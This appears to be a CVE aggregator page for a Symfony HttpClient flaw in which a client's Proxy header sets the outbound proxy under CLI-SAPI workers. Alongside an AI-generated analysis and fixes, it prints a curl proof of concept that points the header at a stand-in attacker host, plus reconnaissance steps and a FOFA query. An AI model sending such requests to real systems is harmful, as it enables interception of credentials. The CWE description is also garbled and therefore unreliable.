CVE Professor
/
All CVEs
CVE-2026-134792

CVE-2026-134792 — CWE-15

HIGH CVSS 8.3 ⚡ EPSS 0.9% NVD

When the proxy option isn't set, HttpClient takes the proxy from environment variables like http_proxy or HTTP_PROXY. On web servers, it ignores HTTP_PROXY, because PHP puts the Proxy request header there (the httpoxy issue). On the CLI SAPI, it read HTTP_PROXY from $_SERVER, where PHP also puts the environment. HTTP workers that run under the CLI SAPI put the headers of each request in $_SERVER too. This is the case of spiral/roadrunner-http, which the RoadRunner runner of php-runtime uses, and of baldinof/roadrunner-bundle and php-pm. A client could then send a Proxy header to choose the proxy of the requests that the application sent while handling its request. That proxy received the full requests to http:// URLs, with their credentials, and could forge the responses. For https:// URLs, it learned the host and port through CONNECT. NativeHttpClient is affected since Symfony 4.3.0, AmpHttpClient since 5.1.0, and CurlHttpClient since 4.4.40, 5.4.7 and 6.0.7. On the CLI SAPI, HTTP_PROXY is now read from the environment with $_ENV and getenv(), never from $_SERVER. Other SAPIs still ignore it.

When the proxy option isn't set, HttpClient takes the proxy from environment variables like http_proxy or HTTP_PROXY. On web servers, it ignores HTTP_PROXY, because PHP puts the Proxy request header there (the httpoxy issue). On the CLI SAPI, it read HTTP_PROXY from $_SERVER, where PHP also puts the environment. HTTP workers that run under the CLI SAPI put the headers of each request in $_SERVER too. This is the case of spiral/roadrunner-http, which the RoadRunner runner of php-runtime uses, and of baldinof/roadrunner-bundle and php-pm. A client could then send a Proxy header to choose the proxy of the requests that the application sent while handling its request. That proxy received the full requests to http:// URLs, with their credentials, and could forge the responses. For https:// URLs, it learned the host and port through CONNECT. NativeHttpClient is affected since Symfony 4.3.0, AmpHttpClient since 5.1.0, and CurlHttpClient since 4.4.40, 5.4.7 and 6.0.7. On the CLI SAPI, HTTP_PROXY is now read from the environment with $_ENV and getenv(), never from $_SERVER. Other SAPIs still ignore it.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity Low VI:L
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
EPSS — Exploit Prediction Scoring System
0.9%
30-day probability
In the 57. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Proxy Injection flaw (CWE-15: Expression Problem, specifically relating to improper handling of environment variables vs. request headers) in Symfony's HTTP Client components.

The core technical flaw lies in how Symfony's HttpClient interfaces (NativeHttpClient, AmpHttpClient, CurlHttpClient) determine the proxy server to use for outbound HTTP requests.

1. Standard Behavior: By default, if no proxy is explicitly configured in the Symfony HttpClient options, it falls back to environment variables (http_proxy, HTTP_PROXY).
2. The Flaw (CLI SAPI): In the Command Line Interface (CLI) SAPI, PHP populates the $_SERVER superglobal with both environment variables and request headers (when running under specific workers).
3. The Attack Vector: When Symfony applications run under RoadRunner (via spiral/roadrunner-http), php-pm, or similar PHP process managers that use the CLI SAPI for HTTP workers, the $_SERVER array is populated with the incoming HTTP request headers.
4. The Bypass: The vulnerable code reads HTTP_PROXY from $_SERVER instead of strictly from getenv() or $_ENV. Since an attacker can send a custom Proxy header (which PHP maps to HTTP_PROXY in $_SERVER), the attacker can dictate which proxy server the Symfony application uses for its outbound requests.

Result: The application sends its internal outbound HTTP requests (e.g., API calls, webhooks, third-party integrations) through an attacker-controlled proxy. This allows the attacker to:

  • Intercept and read the full contents of http:// requests (including credentials, API keys, and PII).

  • Forge responses to http:// requests, potentially altering application logic.

  • Learn the destination host and port for https:// requests via the CONNECT method, enabling traffic analysis or man-in-the-middle attacks if the proxy is malicious.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Identify Technology: Use tools like wappalyzer, whatweb, or manual header inspection to identify the target as a Symfony-based application.
  • Identify Runtime: Determine if the application is running under a PHP process manager that uses the CLI SAPI for HTTP workers. Common indicators:
  • * Server: RoadRunner header. * X-Powered-By: PHP combined with specific process manager signatures. * Knowledge of the deployment architecture (e.g., Docker images using roadrunner or php-pm).
  • Version Check: Identify the Symfony version. The vulnerability affects:
  • * NativeHttpClient: Symfony 4.3.0+ * AmpHttpClient: Symfony 5.1.0+ * CurlHttpClient: Symfony 4.4.40+, 5.4.7+, 6.0.7+ Note:* The fix is in later versions (e.g., 4.4.41, 5.4.8, 6.0.8, 6.1.0, etc., depending on the branch).

    2. Exploitation

    The attacker sends an HTTP request to any endpoint that triggers an outbound HTTP request from the Symfony application (e.g., a "Send Test Email" button, a webhook trigger, an API integration call). The request includes a malicious Proxy header.

    Illustrative PoC (curl):

    # Assume the application has an endpoint /api/trigger-webhook that makes an outbound HTTP request to http://internal-api.example.com/secret
    # The attacker sends a request with a custom Proxy header pointing to their malicious proxy server (attacker-proxy.com:8080)
    
    curl -X POST http://victim-app.com/api/trigger-webhook \
      -H "Content-Type: application/json" \
      -H "Proxy: http://attacker-proxy.com:8080" \
      -d '{"action": "test"}'

    Mechanism:
    1. The request hits the Symfony application running under RoadRunner/CLI SAPI.
    2. PHP populates $_SERVER['HTTP_PROXY'] with http://attacker-proxy.com:8080.
    3. The Symfony HttpClient (e.g., CurlHttpClient) initializes the cURL handle.
    4. Since no proxy is explicitly set in the Symfony configuration, it checks $_SERVER['HTTP_PROXY'].
    5. The cURL handle is configured to use http://attacker-proxy.com:8080 as the proxy.
    6. The application makes its outbound request to http://internal-api.example.com/secret via the attacker's proxy.

    3. Post-Exploitation

  • Data Exfiltration: The attacker's proxy server (attacker-proxy.com:8080) receives the full HTTP request from the Symfony application, including:
  • * URL: http://internal-api.example.com/secret * Headers: Authorization: Bearer <internal-api-key>, Cookie: session_id=... * Body: Any sensitive data sent in the request.
  • Response Forgery: The attacker can return a forged response (e.g., {"status": "success"}) to the Symfony application, potentially bypassing error handling or triggering unintended logic.
  • Lateral Movement: If the internal API is accessible only from the internal network, the attacker can now interact with it via the proxy, potentially leading to further compromise of internal systems.
  • 🌍 Real World Impact

  • Confidentiality (High): The attacker can intercept all outbound http:// requests, including credentials, API keys, and PII. For https:// requests, the attacker learns the destination host and port, enabling traffic analysis and potential MITM attacks if the proxy is malicious.
  • Integrity (Low): The attacker can forge responses to http:// requests, potentially altering application behavior. However, this is limited to http:// URLs and requires the application to trust the response.
  • Availability (None): The vulnerability does not directly impact availability.
  • Practical Consequences:
  • * Credential Theft: Internal API keys, database credentials, and user session tokens may be exposed. * Data Breach: Sensitive data sent in outbound requests (e.g., user profiles, payment information) can be stolen. * Supply Chain Attack: If the application integrates with third-party services, the attacker can manipulate the data sent to those services.

    🛡️ Remediation & Mitigation

    Exact Affected Versions & Upgrade Recommendation

  • Symfony 4.4.x: Upgrade to 4.4.41 or later.
  • Symfony 5.4.x: Upgrade to 5.4.8 or later.
  • Symfony 6.0.x: Upgrade to 6.0.8 or later.
  • Symfony 6.1+ / 6.2+ / 6.3+ / 6.4+: Upgrade to the latest patch release in your supported branch.
  • General: Upgrade to the latest stable version of Symfony (e.g., 6.4.x or 7.x) to ensure all security patches are applied.
  • Actionable Workarounds

    1. Explicit Proxy Configuration: If you must use a proxy, configure it explicitly in the Symfony HttpClient options. This bypasses the environment variable lookup.
    use Symfony\Component\HttpClient\HttpClient;
    
        $client = HttpClient::create([
            'proxy' => 'http://trusted-proxy.internal:8080',
        ]);

    2. Unset HTTP_PROXY in $_SERVER: In your application bootstrap or a middleware, unset the HTTP_PROXY key from $_SERVER to prevent it from being used by the HttpClient.

    unset($_SERVER['HTTP_PROXY']);
        unset($_SERVER['http_proxy']);

    3. Use a Different SAPI: If possible, run the application under a SAPI that does not populate $_SERVER with request headers (e.g., FPM). However, this may not be feasible if you are using RoadRunner or php-pm for performance.
    4. WAF Rule: Block requests with a Proxy header if your application does not legitimately need to accept proxy headers from clients.

    # Apache ModSecurity Rule
        SecRule REQUEST_HEADERS:Proxy "@rx .+" "id:100001,phase:1,deny,status:403,msg:'Proxy header not allowed'"

    Detection: IoCs

  • Web Server Logs: Look for HTTP requests with a Proxy header.
  • GET /api/trigger-webhook HTTP/1.1
        Host: victim-app.com
        Proxy: http://attacker-proxy.com:8080
  • Application Logs: Monitor for outbound HTTP requests that are routed through unexpected proxy servers.
  • Network Traffic: Monitor for outbound HTTP/HTTPS connections from the application server to unknown or external proxy servers.
  • ⚠️ Urgency

  • CVSS Score: 8.3 (High)
  • CISA KEV: No
  • Exploit Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
Patching Priority: HIGH

This vulnerability is easily exploitable by an unauthenticated attacker who can send a single HTTP request with a malicious Proxy header. The impact is significant, as it can lead to the theft of sensitive credentials and data. While it is not currently listed in CISA KEV, the low complexity and high impact make it a critical risk for any Symfony application running under a CLI SAPI-based process manager (RoadRunner, php-pm).

Recommendation: Patch immediately. If immediate patching is not possible, implement the workaround of unsetting HTTP_PROXY from $_SERVER or blocking the Proxy header at the WAF level.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-134792
Technical reference / advisory repository for CVE-2026-134792
CVSS Score
8.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-15
References & Advisories (3)
Related CVEs
9.3
CVE-2026-77308
Witness is a pluggable framework for software supply chain risk management. Prior to version 0.11.0, the witne
6.3
CVE-2026-144573
Jazzband tablib through 3.11.0 contains a TeX injection vulnerability that allows attackers to inject TeX comm
7.3
CVE-2026-137854
A local privilege escalation vulnerability in the core packaging of Zimbra Collaboration Suite (ZCS) allows th
6.3
CVE-2026-143881
The MongoDB PHP Driver does not neutralize NUL characters in the user name and password values it places into
7.0
CVE-2026-141547
## Summary GHSA-qq6c-99pv-prvf was fixed by moving the per-project plugin library out of the project, to `<ca
6.0
CVE-2026-141092
In Eclipse BaSyx Go Components versions up to and including 1.1.5, ABAC-enabled deployments evaluate the `$con
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner